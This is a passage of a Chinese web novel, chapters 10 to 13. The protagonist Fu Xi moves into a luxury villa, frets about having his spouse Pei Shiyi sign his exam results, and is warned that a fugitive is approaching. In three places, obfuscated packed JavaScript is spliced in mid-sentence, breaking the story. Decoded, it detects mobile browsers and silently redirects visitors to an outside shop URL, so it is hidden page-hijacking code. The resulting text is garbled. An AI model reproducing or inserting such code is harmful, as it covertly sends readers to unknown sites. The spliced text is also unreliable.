付溪都快习惯了,他打了个哈欠,想起床的时候才发现,自己睡觉的地方竟然是裴时意的位置。 ……说起来,之前跟付溪睡在一张床上的亲戚朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471951|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友,第二天早上起来都面有菜色,说付溪睡觉很不老实来着。 ……又说起来,昨天晚上他迷迷糊糊间,感觉自己好像蹬到了什么东西? 付溪:“。” 昨晚忘记提醒裴时意要小心了。 不过问题不大。 想必现在的裴时意已经知道了……实践出真知嘛。 首都星在某些方面沿用了一些华夏的设定,比如周末的存在。 今天是周日,付溪依然不用上学。 他将换洗的床单被套统统塞进洗衣机,坐在桌前开始做作业,写完一科,想到昨天裴时意说的话,趴在桌上,下巴搭着手臂,叹了口气。 这么一看,裴时意的家庭氛围似乎不怎么好。 如非必要,以后还是不要在对方面前提到任何家庭和哥哥的相关话题。 而且, 总是在家里见裴时意,似乎有些单调?或许他可以提前找个场地,等下次裴时意来的时候,跟对方一起游玩? 总之不能继续待在家里了,这种封闭的私密空间,太容易助长对方的气焰,到时候裴时意一直想亲想亲,没完没了,他还不好意思拒绝,只能任由自己嘴唇破掉,但如果是在外面,就可以用公共场合不适合亲热为由,等对方即将离开或者两人回到家睡前,再把治病需求的体-液给补上。 完美的计划。 ……那么去哪儿玩比较好呢? 一想到这儿,这个作业,付溪是一个字都写不进去了。 他摸出终端,开始认真搜索首都星适合游玩的地方,还真弹出来几个风景还不错的网红场地,虽然距离较远,但乘坐悬浮车一两个小时就能到。 付溪一脸严肃地一一品鉴并收藏,打算回头带着裴时意一起去潇洒。 攻略做完,摸鱼结束,不得不做作业。 付溪长吁短叹。 他左抠抠右摸摸,中途去上了两次厕所,把洗衣机的床单等拿出来晾晒,最后视线落在裴时意只穿过一次的睡衣上。 这条睡衣穿过一次没法退,扔掉虽然有点可惜,但如果付溪继续穿,也有点怪怪的,而且裴时意碰到就会起小红疹,为了避免出现意外,只能处理掉了。 付溪顺势起身。 磨磨蹭蹭,直花了一整个白天的时间,付溪才终于把作业摸完,到了晚上,裴时意没来,付溪是一个人睡的。 之后又过了一个多星期,裴时意都没有半点消息。 付溪都有点习惯了。 他没有多想,更没有患得患失,美滋滋地适应着首都星的生活。 周三,付溪刚放学,房产公司那边的工作人员主动联络。 “付溪先生,您好,我是首都星宜居房产的工作人员,请问您现在在家吗?您的房产手续等已经全部办好,目前证件齐全,随时可以搬家。” “……抱歉。我现在在家,但最近要上课,没法立刻搬。” “那我先把全套证件给您送过去。” “好的,辛苦。” “这都是我们应该做的。先生您看,您最近是否有适合的搬家时间呢?” “周末?周六就可以。” “好的付溪先生,周六早九点,我们的工作人员会准时等候在楼下,不过您不用紧张,睡到自然醒再下楼即可。我们这边会提前帮您把新房打扫好,您如果还有什么别的特殊要求,可以随时提出,比如您想在进入新家的第一时间泡个澡,我们也是可以提前帮您放水的……” 终端那头,工作人员柔声说着。 而当通话挂断时,房产证明也已经到了付溪手上。 付溪:“。” 速度好快! 首都星的房产证明跟华夏不太一样,依然是一张纸,材质跟结婚证差不多,上面录入了付溪的基本信息和房产具体所在地、面积等,看起来煞有介事,不过工作人员跟付溪解释,这张纸其实用处不大,相当于奖状,摆着装逼用的,真正有用的是已经上传至政府和终端的个人资产页。 只要一扫描付溪的终端,就能直接证明房产是付溪的,简单便捷。 等到了约定好的周六这天,付溪提前定好闹钟,八点准时起床,收拾完自己,又去简单收了下贵重物品。 比如付溪的结婚证。 然后就是—— 搬家咯~ 11. 第 11 章 “搬家?有人要搬家?” “是……而且来的还是首都星宜居房产。” “就是那个听名字很平价,实则只走高端市场,每套代理房子都在富人区且价值不菲的房产公司?” “嗯。” “我靠谁啊,竟然从贫民窟里一步升天到富人区?” “看门牌,是新来的那个。” “啊!?他!?” 楼下,因为付溪搬家的阵仗过大,或者是因为他才来没多久,竟然就从这里搬走的消息过于稀罕,不少居住在廉租房的公民聚集起来闲聊。 首都星与地球差不多大,但建设起的城市占地面积仅有一个华夏,并按照大家心照不宣的资产等级划分为七个区。 在当今陛下的绝对武力值带领下,首都星资源扩张,各处都是一片欣欣向荣,目测陛下在位的近百年,都不会再有外敌来犯,属于非常难得的安全星域,因此从别的星球偷渡来的公民并不少。 在这里,想要实现阶级跃升不算难,尤其在这种前期阶段,隐性的资产等级还没有完全固化。 像付溪这样在最底层的偷渡客,只需要在毕业后进入一家好的公司上班,稳定收入,节衣缩食,攒一攒钱,就能提升1-2级,只是这条途径需要狠狠熬时间,基本二十年起步。 提升等级最快的方式,是进入枢律塔工作和去参军,跟着陛下在星际南征北战,只是多数人要么考不进枢律塔,要么不敢轻易赌命。 至于依靠婚姻跨越阶级的,是少数。 ——匹配度放在那,跟中彩票一样,哪怕有心也是无力。 但并不是所有公民都想提升。 首都星的福利很好,没有经济实力的公民们住着政府提供的廉租房,吃着政府发放的每周营养液,用着政府提供的免费终端和翻译器,日子完全过得去,对生活品质要求不高,每天躺平咸鱼度日的公民们完全不需要努力就能活着,他们开始“传教”,久而久之,有一小批人在廉租房里常驻下来。 付溪背着一个双肩包走出廉租房。 包里东西不多,放着结婚证、房产证和一些日用品等。 普一出现在楼下,他就察觉到周围若有若无的视线。 艳羡、好奇、嫉妒…… 各类想法杂糅在一起,让付溪有些不适。 “付溪先生,您可以提前在车内等候。” 工作人员上前一步,拉开车门,笑眯眯道,“我看您上次多吃了一块曲奇,猜测您应该喜欢,今天带了不少……依然是果汁?” 付溪:“好的好的。” 付溪钻进车里,隔绝掉外面的视线。 他边啃曲奇,边忍不住感慨,之前哪享受过这么贴心的服务啊?果然钱到位,一切都会到位呜呜呜。 付溪刚来首都星没多久,按理说房间内的个人物品应该不多,但架不住裴时意是个购物狂魔,什么都想买给付溪。 好在机器人动作麻利,很快,付溪的东西就被全部打包整理好带下楼,小心翼翼规整进车厢内。 专业用于搬家的小型货车在众人的注视下启动,按照提前预设好的路径前行。 工作人员也跟着启动悬浮车。 “先生,路途较远,您可以看部影视剧放松一下。” “谢谢,不用了。” 廉租房是首都星出了名的贫民区。 新住址的所在区域同样出名,却是富人区,两边距离较远,搭成时速上K的悬浮车过去,需要足足两个半小时。 付溪将座位放平,眯着眼睡了一觉。 等再睁开眼,已经快到了。 付溪下意识看向窗外,瞪圆眼睛。 绿色。 满眼都是绿色。 付溪凑过去,脑袋贴着车窗,不由自主“哇”了声。 工作人员笑眯眯介绍道:“经过一区公民们的不懈努力,这块区域绿化率很高,上个月最新统计已经达到62%。要知道,首都星的气候和土壤并不怎么适合植被生长,所以这些土壤和树苗都是从别的星球运来的,瞧,头顶有一块绿幕,设有天气模拟系统,还有专人每天巡逻呵护。” 付溪:“!” 那成本得多高啊!? 付溪咋舌,心道,还是地球好。 不过转念一想,首都星的公民也很强,简直就是逆天改命,硬生生把一颗不怎么宜居的星球改造成宜居…… 等等,该不会这些都要化作传说中的物业费,出现在付溪的账单上吧!? 付溪瞳孔地震.jpg 很快,悬浮车在一栋小别墅面前停下。 “到了。付溪先生。”工作人员率先下车,小跑着绕过车头,给付溪拉开车门。 付溪下车,仰头看着眼前的小型别墅。 带着付溪私人物品的小型货车走专属通道,时速更快,机器人已经将物品都摆放到合适的位置。 工作人员:“请。”他带着付溪进入室内,将所有物品的摆放位置都确认一遍,“先生,欢迎回家。我们就不继续打扰您了。” 他收起付溪签了字的单子,微微一笑,“祝您生活愉快。之后再有任何问题,都可以直接打电话找我。” 付溪颔首:“好。” 众人走后,只余付溪一人。 付溪:“啊啊啊啊——” 别墅! 也是让他给住上了! ——付溪在工作人员面前一直表现的淡定矜持,如今终于解放自我。 他兴奋的楼上楼下跑来跑去。 整个别墅占地不算大,但私密性很强,大门采用最新防护系统,周遭都是绿化,一步一景,不论从哪一个角度看,都望不到其他房子。 别墅共三层,一楼是客厅、厨房餐厅、客卧和小型健身房,二楼是主卧、次卧、书房、收藏室,还带一个有游泳池的大露台,三楼是一个小阁楼,可以当杂物间用,也可以改装成游戏室或是音乐室。 别墅内家具一应俱全,再加上从之前的房子里搬过来的床、按摩椅等,完完全全的领包入住! 付溪将日用品摆放好,用终端拍照给裴时意看:「已经住进来了!谢谢老板!」 他没指望裴时意能回,盘腿坐在柔软的长沙发上,在各个应用上更改常用住址,尤其是餐厅,免得小机器人送午饭时找不对地方。 突地,终端“嗡”的一声,弹出两条新消息:「老板?」 「我不记得我们是这种关系。」 裴时意竟然回了!? 付溪吃惊之余,看清楚消息内容:“。” 双方的确不是上下属关系。 但…… 他们之前就已经说好,治病为主的同时培养感情,因此在真正确认恋爱关系之前,应该不能按照结婚证上的关系称呼对方吧? 付溪颅内幻想,自己对着裴时意那张漂亮的脸喊老婆…… 啊啊啊。 好羞耻啊!!! 他忍不住在沙发上打滚。 过了会,满脸通红的付溪趴在沙发上,试图回复裴时意。 「好的裴先生……」 等等,好什么好?简直就是已读乱回。 付溪飞快删掉这五个字。 「是,我们的确不是这种关系……」 嘶,这句话看起来好怪,删掉删掉。 付溪一连纠结许久,实在想不出该怎么回复,恰好此时门铃响了,是餐厅送餐的小机器人来了,付溪忙爬起来穿上拖鞋去开门。 之后,付溪在崭新的大餐桌上吃饭,观察自动洗碗机是怎么洗碗的,去露台转悠一圈,呼吸郁郁葱葱树林间的新鲜空气,摸了摸泳池里的水确信还有点凉,不适合下去游泳,然后回二楼的主卧躺下幸福地睡午觉。 完全将消息忘了个精光。 午觉醒来,付溪一脸严肃地确认,他是一个嫌贫爱富的人,并发出暴言:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471952|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廉租房住起来就是不如大别墅舒服!” 幸福的生活来得突然。 接下来的一天半,至少少奋斗二十年的付溪都在认真拥抱新别墅,并决定使用20朵小红花的特权,将这周的作业豁免掉。 周一,付溪依依不舍告别床铺,登上校车。 “付溪哥哥。” 一个小萝卜头见他上车,立刻凑过来,头顶的仓鼠耳朵晃了晃,扒拉在付溪的座椅靠背上,神秘兮兮道,“你听说了没?” “先别听说,过来。” 付溪怕校车转弯时对方没站稳摔倒,先拉着对方坐在自己身侧,偏过身细心给对方系上安全带,才问,“什么?” “这周五是大测验哦!”小萝卜头压低声音,“所有的考试成绩都要让家长签字!”不知想到什么,他打了个哆嗦,“好恐怖。” 根本没有家长的付溪:“哈哈,那确实很恐怖了。” 小萝卜头见付溪一点都不紧张的样子,一张圆嘟嘟的小脸憋的通红。 他手摸摸这里,摸摸那里,时不时偷瞄付溪,明显还有话要说。 果不其然,过了会,他先偷偷摸摸看一眼坐在校车最前面的老师,确认老师没过来,才小小声:“付溪哥哥,我们能不能商量一件事?” 付溪:“嗯?” “你可不可以假装是我的家长给我签字……”小朋友一双漂亮的大眼睛忽闪忽闪,可怜兮兮看着付溪,“哥哥,你知道的,题目太难了!我从来没及格过,要是让我爸妈看到那个成绩,他们铁定会混合双打我。” 付溪一脸同情:“天哪,只是考试成绩不及格,竟然就会挨打吗?”并在下一秒狠心拒绝,“不可以哦。” 小朋友握拳:“可恶!” 付溪眼眸一弯:“不过我有划重点,如果这一个星期你好好学,或许能及格?” 小朋友:“!!!” “好耶——”小朋友立马抱住付溪的手臂,眼睛里似乎有星星有闪,“哥哥你真是太好啦!我这周就靠你了!” 一旁,明显支棱着耳朵的其他小朋友听到这话,立刻跟上:“我也要我也要,付溪哥哥你不能偏心他——” 付溪:“好好好,都有都有。” 校车平稳抵达花苞第一小学。 付溪刚要跟一群可可爱爱的小萝卜头们进教室,熟悉的声音在走廊另一头响起:“付溪同学,来办公室一趟。” 诶?难道又有包裹? 付溪应:“来了老师。” 他走进教室,乖乖站定。 章鱼老师一条触手疯狂批改作业;一条触手悠闲的泡花茶;一条触手整理桌面;还有一条触手拿着一份名单正在看,看起来很忙的样子。 “老师。”付溪喊。 章鱼老师并没有拿出任何包裹,而是表情严肃:“付溪同学,你知道的,我们花苞第一小学很看重每个月一次的大测验,每次成绩都需要学生的监护人签字。” 付溪:“?” “啊,是的。” 付溪应着,表情茫然,不知道这事跟自己有什么关系。 “之前你身份特殊,没有监护人这一说,就没跟你提过,但现在情况不一样了。”章鱼老师将他手中的纸张翻转过来,给付溪看。 上面是付溪的资料。 章鱼老师怕付溪重点错,触手尖尖特意在婚配那一栏上点了点。 付溪定睛一看,发现上面从“未婚”变成了“已婚”状态。 “校内学生的基本信息最新更新,从这周开始,上面显示你有监护人了。”章鱼老师说,“这周刚好是大测验,记得成绩出来后让你的伴侣在考试成绩上签字哦。哦对了,每次研学也是,都需要家长先签字才能参加,我提前跟你说一声,免得你之后忘了。好了,回去上课吧。” 付溪:“……好的老师。” 恍恍惚惚走出办公室,付溪一脸痴呆。 “哈哈。” 12. 第 12 章 付溪站在走廊上,捂住脸。 他的数学成绩还不错,小学难度嘛,肯定是拿得出手的,但语言和时政简直……一塌糊涂。哪怕划了重点,付溪也没法做到百分百对,顶多在及格线附近徘徊。 不过,他并不仅因为自己的考试成绩可能不合格,给裴时意看会很丢脸才如此崩溃。 而是—— 单单做出拿给裴时意签字这一举动,就感觉很羞耻啊!明明是结了婚的夫夫关系,却像家长对幼崽…… 想到裴时意可能会有的表情,付溪整个人都有些不好。 至少今天在校车上听到这个消息时,付溪还事不关己,高高挂起,从未想过会有这么社死的一幕。 唯一的好消息是,时代进步了,每个小朋友的考试成绩单都会直接发放到终端上,付溪只需要把具体情况跟裴时意说清楚,文档传给对方,等对方签完字再传回来即可。 不需要面对面,face对face…… 付溪用手心拍了拍脸。 很快,付溪就没空思考这些了。 因为课间,他直接被一群萌萌的幼崽们淹没。 “付溪哥哥,这道题怎么做呀?” “这道题真的是重点吗?” “啊啊啊数学题好难啊——” “真奇怪,为什么你一下就知道97-8=89啊?哦哦哦原来还可以97-7=90,90-1=89这样算啊,那确实简单多了耶,付溪哥哥你好聪明啊!” 付溪利用课间时间,耐心的一一给幼崽们讲解题目,成功收获章鱼老师发来的七朵小红花。 一个小朋友一朵,纯纯兼职收入。 付溪自己也在时政方面有所收获。 “星历400年,第一批世代飞船启航……世代飞船是什么?” “就是船员可以在上面世世代代生活的意思。” “哦哦。殖民地迅速独立……首都星之前也是殖民地之一?” “是呀是呀。” “之前虽然也是君主制,但实际权力都在另外一个种族手里,是陛下继承王位后,带领一批前锋反抗军吹响独立号角,用绝对的实力压制敌人,并通过外交、军事和经济手段实现强势统一。” “我听我爸妈讲过,陛下在管理方面差点意思,目前只形成了较为松散的帝国结构,保留地方的高度自由,之后就一直在各处征战,抢夺资源……但只要陛下在,那些地方星球也不敢太自由的。” “对的对的,陛下超——级厉害!” “呜呜呜,我也想追随陛下。” “你?哼哼。在陛下身边的都是帝国最骁勇善战的士兵。我有四分之一的大脑虎基因,都还没说出这话呢!” “……你瞧不起我兔子的基因吗!太过分辣!” “嗷嗷嗷!” 眼看着幼崽们要打起来,付溪忙转移话题,露出恍然大悟的表情,八卦道:“那陛下年纪已经好大了吧?” 幼崽们齐声:“才没有!陛下才一百多岁啦!” 付溪知道他穿越的这片星域里,公民普遍生存年纪在600周岁,但听到一百多岁这几个字,还是脑补出一个小老头。 再加上这里的多数公民们都保有动物形态…… 讲真,这和小动物成精有什么区别!? 细想之下还有点可爱。 等到放学回家,洗漱完躺在床上,付溪才终于有空思索签字的事。 他打开和裴时意的聊天记录,看到对话还停留在上次裴时意询问他关系的内容上,心虚一瞬。 翻个身,付溪趴在床上,长叹一声:“唉。” 他有点想逃避。 要是不给家长签字会怎么样? 付溪记起刚进花苞第一小学时,似乎有幼崽因为考试成绩太差,没给家长签字,章鱼老师的做法是…… 直接家访! 唉! 那还不如签字…… 看来怎么都逃不过。 算了,签就签。 “但是不急……” 付溪打算把这件事拖到最后一秒钟再跟裴时意说。 做好决定,他闭上眼沉入梦乡。 或许是因为之前的亲吻,付溪最近一段时间都睡得很好,每天秒入睡,醒来后精神百倍,有种记忆力都提高了的感觉,比在华夏时还要耳聪目明。 简直像吃了什么神药。 第二天上午,上完课,付溪去找章鱼老师请了一下午的假,打算前往市政厅把廉租房退掉。 “要退掉廉租房?” 工作人员轻快地摇晃着火红的狐狸尾巴。她显然还记得付溪,冲后者挤挤眼,笑眯眯道,“我就说,首都星很欢迎你这种漂亮的人,不过你搬家的速度比我想的还快。” “让我看看……” 她面前的光屏跳动,想调出付溪的个人资料,进行操作,光屏却卡了瞬,下一秒,屏幕上显示出五个字:「档案已加密」。 ……加密档案? 工作人员一愣,下意识看向面前乖乖坐着的付溪。 从付溪的角度,看不到光屏。 他与工作人员略微惊愕的视线对上,不明所以,歪了歪脑袋:“嗯?”身体下意识前倾些,付溪问,“有什么问题吗?” “啊不是,没有……请稍等。”工作人员表情恢复正常。她柔声说着,站起身招手喊,“经理。” 市政厅的经理快步前来。 工作人员让出自己的位置,把经理按在自己的座位上,压低声音:“这位先生来退廉租房,但我权限不够。” 经理:“???” 退廉租房?但权限不够?? 这两句话是能轻易组合在一起的吗??? 但面前光屏上的字,却昭示着这两句话确实能组合在一起。 经理飞快瞥付溪一眼,露出和煦的笑:“这位先生,请您稍等片刻。”说罢快速在光屏上操作。 过了会,他默然,低声喃喃道,“我的权限也不够。” 身后甩着大尾巴的工作人员:“?” 付溪:“?” 权限不够? 经理站起身:“我去打个电话。” 付溪眨眨眼,猜测对方是在摇人,因为很快,另一位西装革履,面容肃然,瞧着位高权重的人快速走来。 他环顾大厅,视线落在付溪身上一顺,扭头质问工作人员:“怎么不把客人请进贵宾室?” 工作人员反应过来,立刻走出柜台,来到付溪身边:“请。” 她明显很好奇。 ——当初付溪入驻首都星的手续全部都是她一手办的,她深知付溪才刚来没多久,怎么档案就变成已加密了? 但出于职业素养,她什么都没问,只在前方带路,推开其中一扇门,“付溪先生,以后您再来办理业务,直接来VIP贵宾室即可。” 付溪:“好的。” 他状似随口问道,“新来的那位是你们市政厅的什么领导?” 工作人员回:“厅长。” 付溪垂眸:“好的。” 所以,和裴时意结婚后的他,资料的保密程度竟然需要一个市政厅厅长级别的人过来亲自处理? 那裴时意的职位比他之前想象中还高。 这样的人,竟然一直找不到匹配度合适的伴侣,长期处于精神堪忧的状态,随时可能去死,最后让他给捡到了? 付溪挠头.jpg 感觉是货真价实的中彩票。 他心中觉得略微违和,感觉这种好事不应当出现在自己头上,但还没想明白具体关窍,工作人员便端来一杯水:“请用。” “谢谢。”付溪的手轻轻扶了一下杯子的壁沿。 很快,厅长终于进入贵宾室:“抱歉,让您久等了。付溪先生,您的最新资料已经更新完毕,廉租房重新入库,相关工作人员会在近期前往,检查是否有您遗漏的个人物品,如果有,我们这边会主动联系您,您到时候还来这里领取就行了。” “好的好的。”付溪一叠声应。 “真是不好意思,浪费了您宝贵的时间。”厅长与付溪握手,“我们市政厅为表歉意,赠送您一张高额存款利率卷,只需要在我厅存储超过百万星币,我行保证给您一个满意的利率。” 他冲付溪露出一个双方都心照不宣的笑容。 付溪:“……谢谢?” 虽然但是,他有那么多资产需要存吗? 双方寒暄几句,付溪被“忽悠”着开了个储蓄账户,才终于得以告别厅长和工作人员,走出市政大厅。 他站在路边打开终端,查询公共悬浮车途径地,输入现居住地址,发现公共交通的定位只能定到富人区唯一一个站点。 那个站点在富人区的边缘位置,跟付溪的小别墅之间有很长一段距离。 “富人区修的路,竟然连公共悬浮车都不给过,的确是很保护隐私了。不过也是,住在富人区的,哪个没有私家悬浮车。” 至于付溪, 他不但没有悬浮车,而且没有驾照。 蒜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471953|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸟。 反正时间还早,要不慢慢走回去? 付溪点击了下步行。 “AI小美友情提示,本次行程大约6小时43分钟。” 付溪:“什么——!?” 走六个多小时!?? 会死! 付溪果断搭乘公共悬浮车回到花苞第一小学。 见付溪归来,无数小萝卜头面露好奇,一到课间便伸长脖子好奇问:“付溪哥哥,你下午不是请假了吗?怎么又回来啦?” 付溪一脸严肃:“因为我爱上学。” 众幼崽沉默一秒,异口同声:“嘁!” 还没离开教室的章鱼老师感动道:“付溪同学的精神需要大家学习!”并给付溪的胸膛贴上一朵显眼的小红花。 付溪:“。” 天哪,真是受之有愧。 但既然都贴在身上了,那付溪就笑纳了! 嘻嘻。 晚上,付溪坐在书桌前,边写作业边思考。 这栋小别墅的确很好,周围都是绿植,空气新鲜,无任何噪音杂音,私密性尤其好,哪怕付溪在房间里cos猴子也没有任何人会看到,但不论是交通还是周边设施都差了点意思,不太适合付溪这种虽然搬了家,但实则什么都没有的小趴菜。 尤其是补充物资的时候,要么多出一份配送费,要么摆动自己的双腿来回走足足13个小时…… 想也知道,只能选择前者。 付溪叹了口气。 他左看看。 旋转楼梯处炫目的水晶吊灯亮着,一看就价值不菲。 右看看。 书房的落地窗外是满眼的绿色,夕阳落下,橘红色的光洒进露台一角的泳池里,微风拂过,波光粼粼,令人心醉。 付溪埋头继续做作业:“……这个苦还是让我继续吃吧。” 付溪愿意多掏一份配送费,就当支付房费了! 当生活幸福度上来,时间就过得愈发快,一转又是周五。 但这个周五与之前的周五不同。 ——花苞第一小学一个月一次的大测验来了。 付溪难得紧张。 “付溪啊付溪,千万不要因为粗心大意就写错送分题……你也不想裴时意看到你的卷子准备签字时,露出‘这也能错’的表情吧?” 付溪双手合十,心中默念,“老天保佑,老天保佑。” 一旁,幼崽好奇问:“老天是谁?” 付溪思考:“能保佑你考试考好的……神?” “哇,付溪哥哥竟然信教!?” “不不不……” “你最好不,陛下可讨厌信教的人了,去年才用雷霆手腕处理了一批呢。” “。”这么凶残? 付溪心想,看来当今陛下不但恐同且唯物。 没用的知识增加了。 不多时,章鱼老师走进来,拍了拍触手吸引众幼崽们的注意:“同学们,不要继续交头接耳了,准备开始考试咯。” 这个时代的学生们,考试是不存在作弊可能的——所有答卷都只有考生本人通过终端才能看到,题目顺序不但打乱,甚至会更改一些关键数据,可以说是让幼崽们深恶痛绝了。 一整天时间,幼崽们都在苦思冥想,认真答题。 下午五点,考试一结束,成绩就马不停蹄的出来了。 “啊!?这也太快了——” “是啊!比上次早了足足12分钟!” “我真想捶AI一顿。” 哪怕这已经是常事,在看到章鱼老师挂着迷之微笑进入教室时,幼崽们依然没忍住,集体发出哀嚎的声音。 付溪也是哀嚎的一员。 因为!他真的!不想!因为这个!联络裴时意! 可恶啊—— 要不继续拖一下?拖拖拖,周日……最晚周日晚上,一定发给裴时意。 “付溪同学。”章鱼老师叫到付溪的名字,“你的数学成绩非常好,是满分!但是语言和时政差点。我记得你之前的几次小测验里,语言和时政都没及格,这次可都及格了哦。” 章鱼老师赞许地看着付溪,并附赠一个小红花,“进步奖。” 付溪打开终端,看到最新接收到的文档,语言和时政一个62,一个71。 付溪产生了一个“邪恶”的想法。 如果只把数学卷子发给裴时意…… 下一秒,章鱼老师笑眯眯提醒道:“每一张卷子都要签名哦。” 付溪:=。= 13. 第 13 章 可恶。 被章鱼老师轻而易地举识破了计谋。 付溪在心中长吁短叹。 “嘶嘶,付溪哥哥。” 身侧的幼崽将终端界面对准付溪,“看,及格了!哈哈哈!从小学后的第一次考试起,我的数学成绩就没及格过,这次进步这么大,我爸妈铁定会奖励我的!” 他得意地晃动头顶的耳朵,也没忘记付溪的好处,“等周一我给你带小饼干!我妈亲手做的,很好吃哦。” 付溪莞尔:“好呀。” “嘻嘻,我数学成绩也进步了!付溪哥哥之前教的方法真的很有用,我很快就做完了前面的算术题,有更多时间写后面了!” “俺也一样。” “我周一也要给付溪哥哥带好吃的!多亏了付溪哥哥!” “我也要带,我也要带!” 章鱼老师笑眯眯道:“要不周一中午举办零食大会吧?谁带来的零食最好吃,就可以得到一朵小红花哦!” “好耶——” 看着周围幼崽们兴奋的讨论周一要带什么零食来的模样,付溪心想,真是有人欢喜有人愁。 他垂眸,在章鱼老师组织幼崽们排队上校车的空档,打开终端看了眼。 从上次深吻后,他又有两个星期没见裴时意。 这期间,裴时意发过病吗? 付溪一想到裴时意说,两人亲吻后他只好了两个小时的事,就忍不住咋舌,不过这次他们切切实实交换了体-液,还交换了好几次,应该能坚持更久一点吧? ……两天? 一个星期? 有点好奇。 想了想,付溪发消息过去:「这周末你来吗?」 付溪等了等,裴时意没回消息。 他思维发散了下,心想,如果这次发消息的同时再喊裴时意一声老板,说不定对方就会跟上次一样秒回了。 付溪眼眸一弯,唇角勾起一个弧度,忍了忍才没直接笑出声。 不过裴时意平日里很忙,付溪觉得,他还是不要向对方展示这种小小的恶趣味比较好。 回到家,付溪清点了下家里的日用品,确定要补充的东西后,打开终端的线上商店,一一对比价格并加入购物车。 最后,他点进服装店,看了看睡衣,尤其是材质方面。 “裴时意不过敏的……这价格也太贵了,怎么不去抢。”付溪嘀咕。 他打开后台,查看自己的余粮。 付溪情况特殊,章鱼老师给付溪申请了花苞第一小学的贫困生补助,每周一发放,还免去了付溪的课本费和午餐费。 付溪本人由于家庭缘故,知道自己以后无人兜底,只有口袋里有存款才会有安全感,所以物欲不高,喜欢攒钱。 没结婚前,除却日用和营养液,付溪只各季节买两套最便宜的衣服换洗,结了婚,衣服也被裴时意承包,星币全都攒下来…… “刚好够买!” 付溪把睡衣加入购物车,跟之前的日用品一起结账。 虽然很爱存钱,但付溪懂得礼尚往来的道理,裴时意给他买了这么多东西,他如果在一件睡衣上还吝啬,就显得太薄情寡义了。 而且…… 之前裴时意攥着过敏的睡衣不肯脱,理由竟然是,那是付溪给他买的,听得付溪心头悸动。 自从父母过世,他再没遇到这种对他尤为珍而重之的人。 一想到裴时意看到这件睡衣时的表情,付溪心情也跟着雀跃起来。 不多时,门铃响。 配送的小机器人到了。 “来啦!”付溪眼眸亮晶晶,他去门口接下包裹,小心拿出新买的睡衣看了看。睡衣摸起来手感顺滑,深色的布料一拎起来,自然垂落,在灯光下反射出漂亮的光泽,一看就知道价格不菲。 付溪觉得,裴时意应该会很喜欢这一身。 他查阅了睡衣的洗涤方式,清理完毕,将其挂到衣柜里,跟之前裴时意给他买的那些质量同样很好的高定衣服放在一起。 就在这时,终端“叮”的响了下。 裴时意回复了? 付溪将衣柜门关上,打开终端界面,却发现是一条陌生人的申请好友消息:「听澜一区云栖路18号6栋的新业主,付溪先生,您好,我是听澜一区的物业管理。事态紧急,请务必尽快通过我的好友申请。」 付溪:“?” 对方发的地址,正是付溪所在房产的位置。 付溪留了个心眼,让终端上的AI小美追踪了下,确定对方的身份没有作假后,才点击通过。 毫无停顿,一个视频弹出。 付溪扫了眼对方消息上的“事态紧急”四个字,心想,这看起来的确是很紧急,难道是出什么事了? 付溪点击同意。 光屏弹出,一个西装革履,双手交叠,面上赔笑的圆脸男人出现在画面中:“付溪先生,很抱歉贸然打扰,实在是事出突然……不知您是否看了今天刚出的每日要闻?” 他观察着付溪的神色,知道后者没看,主动开口道,“有一名星际通缉犯的飞船被击中后坠落在首都星荒原区,被发现时通缉犯已经隐匿逃离,据物业这边得到的私人消息,这位通缉犯尤其嫉恨有钱人。” 付溪:“。” 所以这句话的意思是,通缉犯极大概率来到一区? ……刚搬来没几天就遇到这种事,是什么运气? “被发现的最新行踪里,那位通缉犯正朝着一区全速前进,不过一区内的建筑都搭载了最新版的防御系统,通缉犯无法轻而易举地破解潜入。我来联系您,也是因为您刚搬来,怕您不知晓这些,感到害怕。请您即刻起紧闭门窗,无论谁敲门都不要开,听到异响立刻联系我。” 物业管理一脸严肃,“物业组这边已经开始组织人员加强夜间巡逻,届时会有机器人扫描全屋,您不要惊慌。” 付溪:“……行。” “我这边还要通知其他业主,就不打扰了。” “好。” 通讯挂断,很惜命的付溪立刻行动,从大门到露台,再到每一个门窗都确保紧锁,连一只蚊子都飞不进来的程度。 “小美小美。” “我在。” “帮我扫描全屋门锁,看是否有遗漏。” “好的,正在扫描中...” 终端上的翅膀突然弹出,“检测有生物体靠近。” 付溪:“!!!” 靠! 不会吧!!? 付溪吃了一惊,心中陡然紧张起来。 一般电视剧电影里,确实有这种刚接到通知就立马出事了的炮灰角色,该不会他拿的就是这种剧本吧!? 付溪倒吸一口气:“快快快,调取监控。” 他另一手已经准备给物业管理打电话了。 AI小美的翅膀展开,蓝色光屏显出—— 别墅大门口。 